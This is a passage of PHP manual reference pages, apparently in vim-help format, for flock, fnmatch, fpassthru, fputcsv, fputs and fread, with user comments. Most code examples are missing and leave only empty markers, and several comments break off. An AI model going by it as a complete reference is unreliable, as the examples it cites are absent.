operation
---------
operation is one of the following:
LOCK_SH to acquire a shared lock (reader).
LOCK_EX to acquire an exclusive lock (writer).
LOCK_UN to release a lock (shared or exclusive).
It is also possible to add LOCK_NB as a bitmask to one of the above operations if you don't want flock() to block while locking.
wouldblock
----------
The optional third argument is set to 1 if the lock would block
(EWOULDBLOCK errno condition).
Return Values~
Returns TRUE on success or FALSE on failure.
Changelog~
Version Description
5.5.22, 5.6.6 Added support for the wouldblock parameter on Windows.
5.3.2 The automatic unlocking when the file's resource handle is closed was removed. Unlocking now always has to be done manually.
Examples~
Example #1 flock() example
>
<
Example #2 flock() using the LOCK_NB option
>
<
Notes
Note:
flock() uses mandatory locking instead of advisory locking on Windows.
Mandatory locking is also supported on Linux and System V based
operating systems via the usual mechanism supported by the fcntl()
system call: that is, if the file in question has the setgid
permission bit set and the group execution bit cleared. On Linux, the
file system will also need to be mounted with the mand option for this
to work.
Note:
Because flock() requires a file pointer, you may have to use a special
lock file to protect access to a file that you intend to truncate by
opening it in write mode (with a "w" or "w+" argument to fopen()).
Note:
May only be used on file pointers returned by fopen() for local files,
or file pointers pointing to userspace streams that implement the
streamWrapper::stream_lock() method.
Warning
Assigning another value to handle argument in subsequent code will
release the lock.
Warning
On some operating systems flock() is implemented at the process level.
When using a multithreaded server API like ISAPI you may not be able
to rely on flock() to protect files against other PHP scripts running
in parallel threads of the same server instance!
flock() is not supported on antiquated filesystems like FAT and its
derivates and will therefore always return FALSE under this
environments (this is especially true for Windows 98 users).
User Contributed Notes 37 notes
65 Antti Haapala ¶9 years ago~
The supplied documentation is vague, ambiguous and lacking, and the
user comments contain erroneous information! The flock function
follows the semantics of the Unix system call bearing the same name.
Flock utilizes ADVISORY locking only; that is, other processes may
ignore the lock completely; it only affects those that call the flock
call.
LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED
LOCK simultaneously. It is commonly called a reader lock.
LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an
exclusive lock to a given file at a time.
If the file has been LOCKED with LOCK_SH in another process, flock
with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL
READER LOCKS HAVE BEEN RELEASED.
If the file has been locked with LOCK_EX in another process, the CALL
WILL BLOCK UNTIL ALL OTHER LOCKS have been released.
If however, you call flock on a file on which you possess the lock, it
will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH)
will get you a SHARED lock, not "read-write" lock.
9 mdessaintes at gmail dot com ¶4 years ago~
I just spent some time (again) to understand why a reading with
file_get_contents() and file was returning me an empty string "" or
array() whereas the file was existing and the contents not empty.
In fact, i was locking file when writing it (file_put_contents third
arg) but not testing if file was locked when reading it (and the file
was accessed a lot).
So, please pay attention that file_get_contents(), file() and maybe
others php files functions are going to return empty data like if the
contents of the file was an empty string.
To avoid this problem, you have to set a LOCK_SH on your file before
reading it (and then waiting if locked).
Something like this :
>
<
Code to test by yourself :
abc.txt :
>
someText
file.php :
<
file2.php :
>
<
Then launch file.php and switch to file2.php during the 10 seconds and
see the difference before/after
--------------------------------------------------------------------------------
*fnmatch*
+---------+~
| fnmatch |~
+---------+~
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
fnmatch — Match filename against a pattern
Description~
>
bool fnmatch ( string $pattern , string $string [, int $flags = 0 ] )
<
fnmatch() checks if the passed string would match the given shell
wildcard pattern.
Parameters~
pattern
-------
The shell wildcard pattern.
string
------
The tested string. This function is especially useful for filenames,
but may also be used on regular strings.
The average user may be used to shell patterns or at least in their
simplest form to '?' and '*' wildcards so using fnmatch() instead of
preg_match() for frontend search expression input may be way more
convenient for non-programming users.
flags
-----
The value of flags can be any combination of the following flags,
joined with the binary OR (|) operator.
A list of possible flags for fnmatch()
Flag Description
FNM_NOESCAPE Disable backslash escaping.
FNM_PATHNAME Slash in string only matches slash in the given pattern.
FNM_PERIOD Leading period in string must be exactly matched by period in the given pattern.
FNM_CASEFOLD Caseless match. Part of the GNU extension.
Return Values~
Returns TRUE if there is a match, FALSE otherwise.
Changelog~
Version Description
5.3.0 This function is now available on Windows platforms.
Examples~
Example #1 Checking a color name against a shell wildcard pattern
>
<
Notes
Warning
For now, this function is not available on non-POSIX compliant systems except Windows.
See Also~
|glob|() - Find pathnames matching a pattern
|preg_match|() - Perform a regular expression match
|sscanf|() - Parses input from a string according to a format
|printf|() - Output a formatted string
|sprintf|() - Return a formatted string
--------------------------------------------------------------------------------
*fpassthru*
+-----------+~
| fpassthru |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
fpassthru — Output all remaining data on a file pointer
Description~
>
int fpassthru ( resource $handle )
<
Reads to EOF on the given file pointer from the current position and
writes the results to the output buffer.
You may need to call rewind() to reset the file pointer to the
beginning of the file if you have already written data to the file.
If you just want to dump the contents of a file to the output buffer,
without first modifying it or seeking to a particular offset, you may
want to use the readfile(), which saves you the fopen() call.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
Return Values~
If an error occurs, fpassthru() returns FALSE. Otherwise, fpassthru()
returns the number of characters read from handle and passed through
to the output.
Examples~
Example #1 Using fpassthru() with binary files
>
<
Notes
Note:
When using fpassthru() on a binary file on Windows systems, you should
make sure to open the file in binary mode by appending a b to the mode
used in the call to fopen().
You are encouraged to use the b flag when dealing with binary files,
even if your system does not require it, so that your scripts will be
more portable.
See Also~
|readfile|() - Outputs a file
|fopen|() - Opens file or URL
|popen|() - Opens process file pointer
|fsockopen|() - Open Internet or Unix domain socket connection
--------------------------------------------------------------------------------
*fputcsv*
+---------+~
| fputcsv |~
+---------+~
(PHP 5 >= 5.1.0, PHP 7)
fputcsv — Format line as CSV and write to file pointer
Description~
>
int fputcsv ( resource $handle , array $fields [, string $delimiter = "," [, string $enclosure = '"' [, string $escape_char = "\" ]]] )
<
fputcsv() formats a line (passed as a fields array) as CSV and write
it (terminated by a newline) to the specified file handle.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen() (and not yet closed by fclose()).
fields
------
An array of values.
delimiter
---------
The optional delimiter parameter sets the field delimiter (one
character only).
enclosure
---------
The optional enclosure parameter sets the field enclosure (one
character only).
escape_char
----------
The optional escape_char parameter sets the escape character (one
character only).
Return Values~
Returns the length of the written string or FALSE on failure.
Changelog~
Version Description
5.5.4 The escape_char parameter was added
Examples~
Example #1 fputcsv() example
>
<
The above example will write the following to file.csv:
aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""
Notes
Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.
See Also~
|fgetcsv|() - Gets line from file pointer and parse for CSV fields
User Contributed Notes 22 notes
183 MagicalTux at ooKoo dot org ¶10 years ago~
If you need to send a CSV file directly to the browser, without
writing in an external file, you can open the output and use fputcsv
on it..
>
<
6 Anonymous ¶1 year ago~
if you want make UTF-8 file for excel, use this:
>
$fp = fopen($filename, 'w');
//add BOM to fix UTF-8 in Excel
fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
<
12 nate at example dot com ¶8 years ago~
Alright, after playing a while, I'm confident the following
replacement function works in all cases, including the ones for which
the native fputcsv function fails. If fputcsv fails to work for you
(particularly with mysql csv imports), try this function as a drop-in
replacement instead.
Arguments to pass in are exactly the same as for fputcsv, though I
have added an additional $mysql_null boolean which allows one to turn
php null's into mysql-insertable nulls (by default, this add-on is
disabled, thus working identically to fputcsv [except this one
works!]).
>
20 alex /-\-l- windeagle DOT org ¶7 years ago~
TAB delimiting.
Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function. The ascii code for tab is 9, so chr(9) returns a tab character.
==================
it should be:
you just forgot that single quotes are literal...meaning whatever you
put there that's what will come out so '\t' would be same as 't'
because \ in that case would be only used for escaping but if you use
double quotes then that would work.
--------------------------------------------------------------------------------
*fputs*
+-------+~
| fputs |~
+-------+~
(PHP 4, PHP 5, PHP 7)
fputs — Alias of fwrite()
Description~
This function is an alias of: fwrite().
--------------------------------------------------------------------------------
*fread*
+-------+~
| fread |~
+-------+~
(PHP 4, PHP 5, PHP 7)
fread — Binary-safe file read
Description~
>
string fread ( resource $handle , int $length )
fread() reads up to length bytes from the file pointer referenced by
handle. Reading stops as soon as one of the following conditions is
met:
length bytes have been read
EOF (end of file) is reached
a packet becomes available or the socket timeout occurs (for network streams)
if the stream is read buffered and it does not represent a plain file,
at most one read of up to a number of bytes equal to the chunk size
(usually 8192) is made; depending on the previously buffered data, the
size of the returned data may be larger than the chunk size.
Parameters~
handle
------
A file system pointer resource that is typically created using
fopen().
length
------
Up to length number of bytes read.
Return Values~
Returns the read string or FALSE on failure.
Examples~
Example #1 A simple fread() example
>
<
Example #2 Binary fread() example
Warning
On systems which differentiate between binary and text files (i.e.
Windows) the file must be opened with 'b' included in fopen() mode
parameter.
>
<
Example #3 Remote fread() examples
Warning
When reading from anything that is not a regular local file, such as
streams returned when reading remote files or from popen() and
fsockopen(), reading will stop after a packet is available. This means
that you should collect the data together in chunks as shown in the
examples below.
>
<
Notes~
Note:
If you just want to get the contents of a file into a string, use
file_get_contents() as it has much better performance than the code
above.
Note:
Note that fread() reads from the current position of the file pointer.
Use ftell() to find the current position of the pointer and rewind()
to rewind the pointer position.
See Also~
|fwrite|() - Binary-safe file write
|fopen|() - Opens file or URL
|fsockopen|() - Open Internet or Unix domain socket connection
|popen|() - Opens process file pointer
|fgets|() - Gets line from file pointer
|fgetss|() - Gets line from file pointer and strip HTML tags
|fscanf|() - Parses input from a file according to a format
|file|() - Reads entire file into an array
|fpassthru|() - Output all remaining data on a file pointer
|ftell|() - Returns the current position of the file read/write pointer
|rewind|() - Rewind the position of a file pointer
|unpack|() - Unpack data from binary string
User Contributed Notes 41 notes
23 Edward Jaramilla ¶8 years ago~
I couldn't get some of the previous resume scripts to work with Free
Download Manager or Firefox. I did some clean up and modified the
code a little.
Changes:
1. Added a Flag to specify if you want download to be resumable or not
2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234
4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems)
5. Only send partial content header if downloading a piece of the file (IE workaround)
>
404 File not found!